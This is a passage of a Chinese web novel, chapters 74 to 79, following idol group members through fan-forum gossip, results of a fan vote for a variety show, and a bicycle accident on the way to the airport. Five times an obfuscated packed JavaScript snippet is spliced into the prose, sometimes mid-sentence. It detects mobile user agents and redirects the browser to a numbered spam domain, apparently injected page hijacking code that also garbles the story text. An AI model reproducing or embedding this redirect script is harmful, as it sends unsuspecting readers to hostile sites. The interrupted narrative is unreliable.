应时月听了倒是有点意外。从透明人变成了被讽刺对象,怎么说也是贺景然和明宸关系看上去缓和的一大步——他又抬头看了眼不远处不知道在聊什么的陆语心和喻疏一,总觉得这个first再相聚,能起到的作用还不仅仅是让他见见老朋友这么弱。 想到这里,他又偏了偏头,看向一开始推动first重聚的乔亦。 而乔亦很有默契地意识到这份目光,也转过头看他:“这个蛋糕味道怎么样?我逛了好多家店选的。” 应时月听着,又不由自主地拿起叉子来了一口,才说:“……挺好吃的。” 他说完就继续吃,没有第一时间抬头。只听见乔亦用带着笑意的声音说了句“那就好”。 74. 错位叶片 公演结束回宿舍,时间已经来到了十一点。 应时月抱着大包小包的礼物,和乔亦一同回宿舍——当然,那根项链还挂在脖子上,并没有摘下来。 大概在未来一段时间里都不会摘。应时月想。 乔亦说这吊坠既防水也不怕被挤压,刚好也很漂亮,他也就干脆准备一直戴着。 回去之后应时月要先收拾东西,就让乔亦先去洗漱。 但实际收东西这事花不了太久。有实用性的礼物直接拿来用,装饰性的摆在桌上或者挂在墙上,剩下的就妥善收到专门放队友礼物的箱子里。 趁着乔亦在浴室,应时月刚好翻出了17岁那年从乔亦那里收到的画集,又将今天的三幅画和一张信纸展开、夹了进去。 大小刚刚好,好到让他怀疑了一瞬间是不是乔亦故意的。 应该就是故意的。 下一瞬间,他又将“怀疑”两个字在心中删去。 接着,他搬出一摞书,从自己记忆中翻出夹着天价拍立得那本,打算将那张拍立得一并先夹在画集里,再默不作声地等待乔亦在某天主动提起。 但打开书的那一刻,他的动作却顿住了。 刚搬来的那天,应时月突发奇想,往那页书里夹了一片枫叶的边角。 来新宿舍的路上,有条街种了不少枫树,那会正在落叶。到宿舍后,应时月才发现一片枫叶恰恰好落在了自己外套口袋里。 他用手折了折,便很轻松地折下来了一个角。 当时的乔亦同现在一样在洗漱,于是应时月顺手就将它夹在了书里——想着有那么一点可能,乔亦自己找到了它,又碰巧没看见这个标记,枫叶的位置发生了移动,那他就能知道乔亦翻过了。 不过可能性挺小的……当时的应时月这么想着。 然而此刻,枫叶的位置不仅变了……还变到了拍立得的下一页。 ——乔亦不仅知道了,还生怕自己不知道他知道。应时月想着想着小声笑了出来,总觉得自己在脑子里说了一个绕口令。 但你又是怎么想的呢? 他笑过,看着墙面的方向,又心想。 看起来……他和乔亦之间不得不早日说开的事情又多了一件。 应时月最后还是叹了口气,将所有东西放在了该放的位置,然后先坐在书桌前,一边看论坛一边等乔亦出来。 此刻的链团专组一片热闹。 应时月快速浏览标题,挑了个有点意思、但又不那么人身攻击的帖子点进去。 * 【主题】你们前美帝是不是卖得有点过啊今天 主楼:我现在的心情和hjr在台上问的那句话如出一辙,11念信半小时大卖特卖句句都是告白让人看着都害怕,还是说不会你们真的来真的吧 比如说看上去然子和乔帝互相开玩笑,实际上过段时间大家发现他们根本就是借着玩笑说真心话? 3L 怎么了,别的cp在台上说喜欢的时候怎么没见你们出来审判啊? 6L 确实,外面都在ksks怎么就lz你出来大审判啊?今天是们11大喜的日子whocares你怎么想 11L 真的怎么了真的怎么了,我巴不得他们是真的呢,什么年代了不会还有人宁愿自己cp是直男麦麸也不愿意他们队内恋爱吧? 等过几年你cp一方带着女嫂子上热搜了就老实了 14L 回复11L:这还用说吗那种一边喊szd一边说不希望他们真的szd的有一个算一个都是唯粉预备役 我搞rps没有一天不希望我cp真的大do特do(但不要逆我嗑的体位谢谢 17L 我说你们怎么开始光速转进打一些不知所谓的玩意了,今天11f在论坛大顺风也不是这么顺的吧,小心回头被清算 而且实话说我真觉得然子和乔帝都是明显玩笑语气啊怎么有人当真了,不知道的还以为你们是从那种一个眼神糖就能让cp超话直冲一线的没见过cp营业的内娱刚来我们发糖如喝水的地方呢,第一天搞链团? 21L 回复17L:你也好急 而且论坛大家不都是开玩笑说吗,我看最当真的是wb那群亦推呢kkkk 说不定是某种意义上的单推最懂正主 23L wb亦推怎么说 28L 别的不知道反正概括我首页那位大粉发的粉见belike: 都这样了今年能重新见到他人已经很好了,想爱就爱想谈就谈吧反正早晚都会谈的虽然22年轻了点,谈十月总比别的队友好谈别的队友总比当异性恋好当异性恋总比私生活混乱好,十月已经超越99.9%的她家哥哥的潜在嫂子了 32L 我服了怎么还挑上了,这人好zqsg地相信11要成真啊,11f都不敢这么说话的 35L ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532630|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回复28L:然后这人过了会又发了一句能不能忍忍等过几年再谈,xswl 37L 谈什么谈,亦推倒是想得挺好的,可惜没人意识到真队内恋爱也是两个人的事 41L 回复37L:但是我觉得hjr说出那句话的时候十月的表情也很好品啊 为什么他们以前也经常这么说话但今天这么多讨论贴,本质不是乔帝的发言而是十月的反应啊 44L 回复41L:是的,十月在台上听到那个问题的那一刻好震惊,我估计他自己都没意识到自己露出了这么明显震惊的表情 像是完全没猜到这种发言,有种暧昧拉扯期被心直口快的队友不慎戳破的恐慌和心虚感 47L 但是乔帝才是心虚的那个吧 别的不说,为什么送的项链要用一个人不能扣的锁扣,这就是想亲手戴上吧,到底什么人才会有这种想法啊,我不是很懂,有人能懂吗 48L 回复44L:你说谁心直口快?? 这说的是你们链团一期唯一一个美术生而且性格也非常典型美术生的那位吗,感觉我已不认识中文 50L 禁止刻板印象美术生! 但是这句话不是lyx不是mc而是hjr这种心直口快的反义词说出来的,我觉得这才是最最微妙的地方 55L 但确实啊,就凭他们这么多年在台上随便跑火车的状态什么没说过,无论是乔帝的信还是然子的发言都完全不是值得震惊的话 59L 那倒也不是……乔帝这么长这么zqsg的信放在你团史上也是非常少见的,你团有多少人有过他们那种绑定关系有过他们那种故事性 甚至还是脱稿,那几张稿子突然变成几幅画的时候我直接吓傻了,有这种本事做什么都会成功的 64L 回复59L:事实上乔帝确实是做什么都很成功,一款令人羡慕的人生 67L 但是在做十月的追求者这件事上还不是很成功 意念祝他好运 71L 不是我说你们到底在zqsg讨论什么 说不定人只是一起约好了在台面上卖个大的呢 应时月点开最后的71楼,回复了一句:那怎么没人通知我呢。 他回完,放下手机,莫名其妙趴在桌上笑了出声。 75. 外务人选 又过了一阵,乔亦才从浴室出来。 听到门开声音的那一刻,应时月就条件反射般抬头,目光落在室友身上。 如同心灵感应般,乔亦动作一顿,视线自动转向他,语气疑惑:“……为什么要这么盯着我呀?这个眼神好吓人。” 应时月有些意外。 他先是思考了一下,自己现在是什么眼神——不由自主地,他想起刚刚看的那个帖子,那个说自己在台上“目光震惊”的回复。 ……看起来过会应该看一下回放。应时月心想,他确实完全没有意识到自己当时的表情管理如何。 而直到思绪飘远,他才骤然发觉,此时此刻,本来应该是他问问题的轮次,怎么又一次被乔亦先发制人了。 于是应时月重重叹了口气,说了句“有点晚了,过会再说”。 过会的意思当然是等他洗漱和收拾完。 结果到这轮次,故事则变成了,应时月刚一出来,就看到乔亦用一种说不清道不明的神色看着自己。 应时月眨了眨眼。下一刻,乔亦开口:“你看,你刚刚就是这么看我的。” “怎么感觉你在污蔑我呢?”应时月顿了顿才说,语气里是没有伪装的怀疑。 乔亦一听,既没有说是也没有说不是,干脆就直接低下头笑了出声,笑完才抬头问:“你想问什么?” 毫无来由地,应时月感觉他们此刻特别像那种,回合制恋爱攻略游戏,轮流提问轮流回答轮流阅读理解,然后抓漏洞发出致命的攻略一击。 ……不对。他下一秒开始反思,我为什么想的会是“恋爱攻略”游戏啊? 应时月轻轻晃了晃脑袋,将这种堪称无厘头的联想从自己的大脑里删除,这才装作漫不经心地开口。 “也没什么,”他说,伸手捏了捏挂在脖子上的吊坠,“就是很好奇,这个是你什么时候做的。” “去年十二月开始的,”乔亦看着他说,“这个好难做的。” “看出来了,”应时月笑了一声,又说,“所以更要谢谢你了——那我没别的想问的了。” 实话说,应时月自己也不知道,这是不是自己真正想问的问题……但他不会说出口又不得不承认的是,乔亦确实给了一个他想要听到的回答。 去年十二月吗……他在心中默默重复了一遍。 是那时候的你已经预料到现在的场景了吗? 应时月无声地提问——但此时此刻,他已经不需要这个答案了。 这件事还远远不够进应时月心中那个,名为“希望乔亦早日向我交代”的事务清单里。 * 接下来的一段时间,应时月并没有因为自己的生公结束而闲下来。 对于很多艺人而言,年底往往都是一年里平均来说最繁忙的时期。Link的成员不像内娱偶像那样有很多年末舞台和颁奖礼要去,但公演以外仍然有别的任务。 比如链团每年有自己的年终回馈演唱会。 这个演唱会的安排方式比较特别。 首先是一个全团的开场曲,接着,四个队分别有一首全员参与的队歌,选曲由队内成员决定——一般而言,他们都会在fanclub同队粉公开商量来定。 除此之外,每位成员必须表演、且只能表演一首歌,这一首歌表演人数从单人到七人不等。 说是“回馈”,那这个演唱会的安排往往会征集一些粉丝意愿。 他们fanclub的每一位注册粉丝都会得到一份问卷,并需要在这份问卷里按照一定格式填写自己想要看到的组队和选曲——接着经过一套复杂的算法,团里最终会排出相对顺应大多数人选择的结果。 早期的链团多少有点草台班子。那会纵然人少,staff们收了问卷,还是总觉得怎么安排怎么不对。 最后是陆语心出手写了个算法,因为前些年的演唱会安排整体好评较多,于是就沿用到了现在。 乔亦在的时候,应时月每年的年终舞台,都是和乔亦一起跳双人曲,今年的结果暂时还没统计完成,但应时月也觉得不会出什么意外。 唯一有悬念的,就是今年cp粉会给他们选一首什么歌——组队和选曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532631|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的调度逻辑是分开的,于是时亦应援会只号召了在问卷里将他们填到一起,选曲则由大家自己在Link的双人曲曲库里挑。 除了预定会占据很多时间的年终演唱会排练外,他们还有很多零零散散的不大不小的事,比如圣诞特别公演,比如拍各种年末的视频、物料、周边的等等。 陆语心的生公安排在了一月初,虽说主要是他本人在忙,但应时月和乔亦显然都会去助演,也都需要花时间和他一起排练节目。 此外,对大多数链团成员来说,十二月最大的挑战实际上是协调学业和工作。 队里的高一高二的学生还好,期末考放了就放了,但初三高三的学生要准备诊断考、还有些要艺考;大学生更不用说,期末月像是阴云一般笼罩在所有人的上空。 平日里排练间隙,抱着电脑疯狂敲字的、就地找桌子开始演算的、还有对着ppt或者教材发呆的小后辈们数不胜数,不知道的还以为进的是没桌子的自习室而不是链团的练习室。 应时月今年总算不用成为其中一员。 但与之对应的是,他们这些不用准备期末的,自然承担了队里更多的杂事。 唐言成绩挺一般,作为总选第一,事又比一般人多。为了不挂科,也成了疯狂复习的一员。 结果是乔亦一边说着“这是对你时间规划的重大考验”,一边不声不响帮他暂时接了绝大多数队长的活,只将决断性任务留给他本人——应时月还听见乔亦给这人打电话,用一种非常无奈的语气说“不准再说随便你了,你是队长你快做决定”。 应时月当场就笑了出声,然后少见地被乔亦瞪了一眼。 另一件更重要的事是,《明日新声》的人选打投结果已然出炉。 六个人,包括看排名和人气就不可能不进的唐言和陆语心、粉丝为了早日见到正主而疯狂打投的纪荇和、cp粉在其中出了大力的应时月本人和乔亦……以及粉丝和明宸粉丝打到最后一刻、靠着极其微弱的优势险胜的贺景然。 看到结果的一刻,应时月就能想到,粉圈应该正在腥风血雨。 76. 接机委托 白天排练完回宿舍后,应时月总算抽出了些时间来逛论坛。 距离人选发布已经过去了好几个小时,但论坛的热闹劲远没有消散——或者说,随着很多粉丝的下班下课,反而更热烈的几分。 这些帖子一眼看上去,都讨论的是类似的内容。 于是应时月随便挑了一个发布时间早点的,点了进去。 【主题】明日新声结果出了,怎么说 主楼:具体的排序是陆语心、纪荇和、应时月、唐言、乔亦、贺景然 我的评价是,之前谁说这是L队和L队家属开会的,真的是一点外人都没有的一个结果呢 5L 因为L队本来就有总选145,2不参加36是家属,前美帝现在票力众所周知高,这个结果不是很正常很合理吗 8L 所以总选第四人呢,也不参加了吗 11L 不是,先不说总选第四,一哥家怎么才投到第四的 这个结果真的处处很不正常,你团什么时候格局变化这么快了 14L 有没有可能是一哥家也没怎么全力投,反正能进 前三位一个是冲一年躺一年如今正在冲的lyx,一个是几个月没见正主非常心急的jxh,一个是如今反弹势头正好cpf疯狂打投的oct,这不是很合理吗 18L 嗯嗯,怎么都是合理的 感觉明年总选排位要大动特动了,到时候就知道咯 21L 那确实是今年第四第六两家更应该担心 今年top3明年神七是稳的,纪荇和家这次能冲到第二感觉实力还上升了,明年估计也稳,加上前美帝两口子就是六个人,先不考虑黑马,不会明年要宸然争神七吧? 23L 回复21L:@Link-明宸,听见没有,这次是打不过前夫哥,再不复婚明年你的神七都难了,别惦记你那拍戏了快回来麦麸 乔帝短短两个月就能超过不卖的宸然,这就是麦麸的威力 26L 开投之前以为是乔帝家会和宸然之一争六,没想到冲到第五和第六之间反而把差距拉出来了 这个票力恢复也太快了 27L 都说mc粉圈已经接受他时不时出去拍戏了,但事实就是拍戏就是会掉票力 而且这个投票第八是lmy,按照予和去年的卖法,如果jxh回来继续这么卖小心宸然双双掉神七,不得不说你团确实是得cp者得天下的 31L cms显得格外清流了起来 34L 回复31L:不能因为他cp只有十几名就说他没cp啊 39L 回复27L:不是,lmy也是老牌top吧,一选开始就没跌出过选拔组的 43L 说好的新时代了呢,怎么回头一看还是这些老菜皮啊 予和两位整天被喊小后辈结果回头一看原来也是从一选二选就在的人啊 47L 回复43L:别急,喊话新生代那位不还在吗@一哥 52L 别@一哥了,乔帝回来之后一哥现在已经完全是一副被这群老菜皮收服的样子了 你L新一代未解之谜之他到底为什么看上去这么怕乔帝啊,不懂 56L 不是,这么多层没人说吗,L队一次去四个top公演怎么办啊,好像有几场公演和综艺是时间冲突的吧 剩下的两个选拔里,jxh不在的话lmy基本是半个哑巴,指望mc一个人撑mc吗,不能因为他缩写是mc就觉得他有这个本事吧! 59L 但是你L将迎来舞蹈实力最强的C位 话说别的不说落霞谁跳啊,一哥的solo又给谁啊,这些是一般人能接的活吗 62L 所以谁让L队去这么多人的 65L 那也先让别的队投过L队啊 69L 不是,投票第一铁血I队队推怎么没人说呢 一句L队家属就能把我们队长抢了是吧 73L 突然发现这个阵容当过队长的也挺多的,L队前后四任(十月一个月任期也算的话)+I队现任+K队上任< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532632|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一看居然是全员诶 76L 有的人放在里面像凑数的 应时月笑了一声,回了一句“你可以直接点名我”。 然后才退了出去。 首页除了这些讨论以外,剩下的更多是明宸和贺景然粉丝的吵架,非常意料之中,讨论的又是谁家买水谁家造假的问题。 此外,还有不少时亦粉的抽奖,标题都是类似的“庆祝时亦二位一起进了外务名单”。应时月没忍住也回了好多条,心想如果抽到自制周边可以要一份,抽到现金之类的再放弃就行。 反正他在论坛是一款人尽皆知的“应时月语c”,抽到贵的奖不要也挺符合应时月的人设。 * 随着他们打投结果尘埃落定,没过几天,节目组便官宣了所有参与者的阵容。 预先知道的有Dreams三人小分队,别的还有一个男团两个女团两个乐队——应时月这才意识到,这一季能找上他们,很大程度上只是因为节目组想办“团队季”,而内娱没那么多团体而已。 应时月这些日子也经常在队练习室遇到明宸。 这人似乎对自己的落选没什么情绪,结果出来第二天就开始用这个开玩笑——只是不提比他票数稍高的那位。应时月不知道他是真不在意还是假不在意,只知道就算论坛说他演戏会影响作为偶像的票力、演员粉不会给他投舞台投总选,明宸也不会改变自己的选择。 至于进名单里的这几位……他们也提前开了个会。 这个综艺是每周发布下周的舞台任务,不太能提前准备。但他们根据前几季经验,也整理了一些应对方案。 开会的时候纪荇和还在大洋彼岸,一边复习期末一边一心两用开着腾讯会议听他们说完了全程,只在有意见时才出声说几句。 而会开完没几天,他就考完期末,准备回来。 也就在纪荇和将要回国的前一天,意料之外地,应时月接到了纪荇和室友林茗予发来的消息。 林茗予: 【十月前辈,我明天学校有个比赛决赛答辩,去不了机场】 【能麻烦你帮我去机场接一下小和吗】 77. 又一次 十月: 【可以啊】 【你给我发一下时间和出站口,或者我直接问小和?】 林茗予给他发了航班信息,又说了几句感谢的话。 应时月和林茗予之间不算太熟,是比普通队友好一些的那种普通朋友。 但纪荇和算是他在整个Link里关系最好的后辈,所以林茗予去不了,第一个找上他也情有可原。 收到消息的时间点,纪荇和那边不是半夜,于是应时月先答应完林茗予,就给纪荇和发了条消息。 纪荇和应该在线。消息发过去的下一刻,他的备注就变成了“对方正在输入”。 但回复却迟迟没来。 应时月干脆就放下手机,去洗了个脸回来,才总算接到这人的消息。 纪荇和: 【太好了!不用一个人孤独回来了!】 【感谢十月!赞美十月!】 【乔队一起来吗[可怜][可怜][可怜]】 怎么还提上要求了。 应时月这么想着,还是回复了他一句。 十月: 【我问问看】 在队里,大家对乔亦的称呼一般都是“亦哥”“小亦”“乔亦前辈”或者直接喊全名,纪荇和以前就是罔顾Link聊胜于无的前后辈文化和两岁的年龄差、坚持跟其他一期生一起喊“小亦”的人中的一员。 但乔亦消失,纪荇和接任队长后,他时不时再提到乔亦,称呼就变成了这个不明所以的“乔队”——当然很少当着应时月的面提。 估计是意识到了这队长有多难当。 比起唐言接班纪荇和,纪荇和接班乔亦,显然是更困难的一件事。 毕竟当年的乔亦太可靠了——那种不知道哪来的、莫名其妙的可靠感,影响的不只是应时月、不只是朋友们,而是曾经Link的大多数人。 那会大家都是遇到难题问乔亦,遇到困境依赖乔亦,无论是什么状况,他总能给出当下最好的解决方案……甚至到现在,乔亦折返跑回来已经没有任何职位,他们这群老成员偶尔还是本能般有这样的习惯。 所以乔亦的离开对L队而言,才一度像是戳破了大动脉一般致命。 乔亦一消失,突然所有人都意识到,在这个L队里,有很多他们无法解决的问题。 那段时间,高二的纪荇和忙得焦头烂额。虽然被喊“乔亦2.0”的是唐言,但真正逼着自己成为“乔亦2.0”的,反而是这位新人队长。 他忙到后面完全无心学习,期末从全校前三跌到一百多。当时应时月在医院,听明宸说纪荇和他爸直接上访到Link来了,一通大闹特闹,说他本来就为了偶像工作放弃了更擅长的竞赛生道路,结果你们还想毁掉他的高考。 纪荇和难得沉默着一言不发。最后是隔壁的陆语心过来,扔下一句“暑假你儿子生病怎么没见你来这叽叽喳喳上蹿下跳”,这才算解围。 “他俩也挺,”明宸聊到这里的时候说,“……同病相怜的,好在小和他妈妈人还挺好。” 应时月无端联想到这些琐事,又一低头,看见屏幕上的内容,才转头问乔亦:“小予喊我明天帮他去机场接小和,小和问乔队一起来吗,怎么说?” “给他说我去,”乔亦抬起头,看着应时月,“这个称呼怎么被你说出来像是在嘲笑我呢。” “我只是遵循原文,在原封不动照着念,”应时月笑道,“后面还加了三个可怜的小表情。” 乔亦欲言又止,最后干脆是若无其事转移了话题。 应时月一边继续笑,一边低下头给纪荇和发消息,确认了第二天的行程。 * 于是按照他们的计划,第二天下午提前结束排练后,两人就各自扫了一辆共享单车,向着城郊机场的方向出发。 应时月其实是有驾照的。当年跟风去考了一个,但他周围一圈朋友只有纪荇和有车——准确说是纪荇和妈妈有车,纪荇和本人能调用。于是应时月偶尔借来练练手,保证自己还会。 如今理论上能给他借车的人,碰巧是他们要去见的对象。所以说是去“接人”,实质上就是去和纪荇和碰头,帮他分担一下行李,再和他一起打车回基地。 当然,林茗予去也是一样的后果。 只是他们这群人本来就有这样的习惯,几个比较熟的外地成员每次放假回来,大家如果有空,也会一起跑去机场等人,让气氛热闹一些。 况且纪荇和是出国小半年,行李肯定是不少的。 一个人拖回去虽说不是不行,但多少也费劲。 而之所以骑电动车,本质是因为宿舍和机场在城市的同一个方向,距离不太远。 坐地铁的话,机场线会单独收费25块,绕来绕去的,效率还不如电动车。 于是两人各自骑着车,以一种不紧不慢的速度在路边行驶着。 应时月逐渐就感觉到了一阵悠闲。 最近这段时间日程太忙,虽然说不上昼夜不分,但工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532633|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间也是公司剧场宿舍三点一线、脑子里随时都装着一系列安排。 如今借着接机纪荇和这个理由,倒是有机会出来吹吹风。 虽然挺冷的。实话实说。 应时月这么想,也这么随口说了一句。 “你如果觉得累的话,”乔亦于是回答说,“可以明后天出去玩一趟,后面还有的忙,调节一下比较重要。” 应时月的第一反应是说我没有觉得累,但这话说来有点违心——毕竟乔亦都看出来了。 “也不是不行,”最后应时月说,“只要我们……” 但他的话没能说完。 就在那一刻,巨大的、黑色的影子骤然闯入这片安静的独立的世界,生生止住了应时月的最后几个字。 接着是一道蓝色的身影,偏斜着划入视野范围。 伴随着剧烈的心跳声,应时月本能般捏住刹车的同时愣了一秒钟,听到一声刺耳的、像是刹车一般的声音。 接着是金属和地面碰撞的闷响。 应时月茫然地眨眨眼,视线逐渐恢复清明,才意识到如今的状况。 时间线在眼前疯狂坍缩,四年前的那一场小事故,与此刻所见到的场景朦朦胧胧地开始重叠。 又一次。 脱轨的小汽车和急迫的刹车声,以及电动车倒地的声响。只是这一次,和车一起倒下的不是他本人。 而是在那一瞬间比他反应更快,直接反人类本能般加速且急转向、拦在那辆小汽车和他的电动车之间的乔亦。 为什么会又一次呢。 应时月脑子里只剩下这一个问题。 乔亦伸出沾了一手血的右手,艰难地推开压在身上的电动车,撑着膝盖缓慢站起身。 应时月见状,慌乱地停车下车,伸手去摸手机打算打急救电话,接着才意识到自己手抖得特别厉害,连手机锁屏密码都按错了三次。 “……怎么又哭了啊你,”接着他后知后觉听到乔亦的声音,也带着点慌乱,但却好像是另一种慌乱,“不用喊救护车啊,车都没撞上我,只是刚刚转弯太急失衡了才翻车的,看着吓人但就是外伤……你别急啊。” 应时月解锁手机的动作停住了片刻,大脑迟缓地消化完乔亦的话。他放下手机,伸手摸了摸眼睛周围,才发现自己确实很丢人地在掉眼泪。 连自己都没有意识到。 “我说真的,”乔亦似乎是感觉他不信,又再说了一遍,“这么重要的事,我不会乱开玩笑的。” 78. 不速之客 乔亦说完,朝应时月伸出手……看动作可能是想要帮他擦眼泪。但或许是又想起自己一手血和灰尘,于是放了回去,只回身在包里摸了一圈,给应时月递了包已经拆封的纸巾。 应时月指尖颤抖地抽出一张,胡乱地在眼眶周围抹来抹去。 接着他听见乔亦的声音继续响起。 这回是对着刚下车的、同样慌乱、说话颤颤巍巍开始舌头打结的车主说,首先路边出事要开闪光灯,其次既然你是躲避逆行出的事车也没坏,那能不能立刻送我们去医院,我现在需要紧急消毒处理一下,过会还有安排。 车主则用一种明显紧张的、不连贯的声音说,我现在腿发软,大脑恍惚,不太敢开,要不然打车去吧,郊区虽然不好打但等等应该也有。 所以……为什么会是唯一受伤的人来安慰自己和稳定局面呢? 乔亦同车主说话的声音很平静而稳定,然而应时月空白的思绪里却生长出这个念头。 随着那两人说话,这句质问以迅雷不及掩耳之势铺满了应时月的大脑。 伴随的是“别手抖了”“你的自控力呢”“你在做什么”“你好废物”“明明一个人什么都能做为什么乔亦在场你就会全自动变得这么没用”之类的无声的呐喊。 应时月很用力地,用指尖掐了掐手心,闭上眼,给自己默念了无数遍“冷静”两个字,直到感觉心率正在急速恢复正常。 然后他重新睁开泛红的眼眶,抬起头,上前几步,用自己此刻能做到的最平和的声音,对着那位车主开口:“……车钥匙给我。” 乔亦偏过头看他,没什么表情。 不知道此刻在想着什么。 * 应时月开车去了医院。 原则上,那位车主是受到别的车影响,才间接导致乔亦受伤。 但一方面医药费花不了太多,另一方面,即使行车记录仪拍下了车牌号,寻找那辆所谓的“逆行车”、再商讨责任分配,也是大麻烦事。 两相权衡之下,逐渐平静下来的车主提议,说帮他们付一部分医药费,这事就算私下协商完成。 应时月和乔亦也同意了这个建议。 不过,经历了这事,接纪荇和的计划最终作罢。 乔亦本打算在医院快速处理,接着打车过去赶纪荇和下飞机。但到了医院应时月又觉得不太放心,让他多做了一系列检查,最终花了比预想久得多的时间。 此外,两人还在医院遇上了链团粉丝。这位粉丝光速将这件事po上了论坛、又被答辩现场无所事事又早退不了的林茗予看到。于是林茗予溜出来给他们打了个电话,让他们千万别去,好好养伤。 “接小和这件事实在是太不重要了,”林茗予在电话里说,“……是我不该让你们去接机的。” “你让他别觉得是自己的责任,本质是我自己转弯摔了,和他没关系,”乔亦盯着护士帮他处理伤口,听见应时月电话里的声音,头也不回地说,“给他说就是小伤,明天还能去练习室跳舞。” “……明天不准去跳舞,”应时月虽然觉得乔亦这话也不对,但也如实转告原话,挂掉电话后才话锋一转,“你也不缺这一天,别把伤口扯着了。” “跳什么舞?什么一天?”接着说话的是护士,语气中带着明确的指责,“这一周都不准大幅度活动。” “哦。”乔亦说,语气老实本分,没有一点辩解的打算,大概是自己也觉得不占理。 说是外伤,但那条路地面状况很差,石头多,坑坑洼洼,所以伤口也不是一道两道。 除了应时月第一时间看到的全是血的右手,腿上也有一些伤。乔亦没说,靠着深色裤子的遮掩也不太能被发现,直到到了医院,应时月才知道,他的小腿被划开了一些细密的口子,滴落的血迹已经染红了浅色的短靴。 乔亦在车上已经用毛巾做了简单的紧急止血。应时月开车比较专心,所以那会也没注意。 “你应该一起说的。”于是应时月说。 “……没有那么严重,比这个严重的伤我受过太多了,有经验的,一两天就好,”乔亦眨眨眼,语气缓慢,迎着应时月开始露出不满的表情说,“你让我卖惨一下。” 应时月没话说了。 所以他确实什么都没再说,而是站在乔亦身侧,目不转睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532634|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地盯着伤口处理。与此同时,脑子里却已经开始回放那一瞬间的场景。 比起他四年前的那场事故,今天显然幸运的多。 同样是不慎转向非机动车道的小汽车,但今天的车主刹车及时,堪堪赶在撞上之前停了下来,所以没出大事。 但……那一瞬间,没人能预料到它能否真正及时刹住。 遇上这种事,如果有反应时间,人类的本能都是刹车、减速、避让——而乔亦却加速了。应时月不知道这是电光火石间的超速思考、还是只是另一种本能。 他只知道的是,即使事后看来那不是一个好的选择,但那一刻的乔亦,确实是想替他挡住冲击力的。 为什么要做到这种份上呢。应时月沉默地看着乔亦凌乱的头发,心想。 但他什么都没有说。 他只是伸出手,将那些翘起来的、或者是偏斜的发尾一道一道理顺。 * 最终事实证明,乔亦的判断确实总是比他更准确。 伤口主要集中在右手臂和右腿,不算太严重,更没有应时月一路上担忧的那些骨折、以及更恐怖的脑震荡、内脏损伤等等,但前前后后的各种处理依旧很花时间。 应时月前期主要工作是跑上跑下开单子,后期就坐在一边沉默等待。 途中他也接到了刚下飞机的纪荇和的电话,并开着免提放给了乔亦。那头说了几句,最后又一次地,故事变成了乔亦自己解释说没关系不要自责和你无关之类的。 “……要不回头再说吧,让他休息一下,”应时月听这重复了几次的发言听到一半,终于忍不住收回了手机说,或许是觉得自己这话有点冷冰冰的,又加了一句,“你放轻松一点,不要多想。” “……好,”纪荇和在电话对面沉默了几秒,最后只留下一句简短的发言,“我明天来见你们。” 该处理的处理完,又包扎好后,他们就得到了“可以回去”的指令。 乔亦的伤不太影响行走,只要别走太多就行。于是应时月打了个网约车,便同他一起下楼。 但没想到,还没走到电梯口,他们就迎来了一位不速之客。 79. 未过时谜题 先说话的是乔亦。 在去电梯间的路上,迎面而来了位穿着西装的年轻男人。这人走得缓慢而沉稳,整个人的气质与医院的环境格格不入。 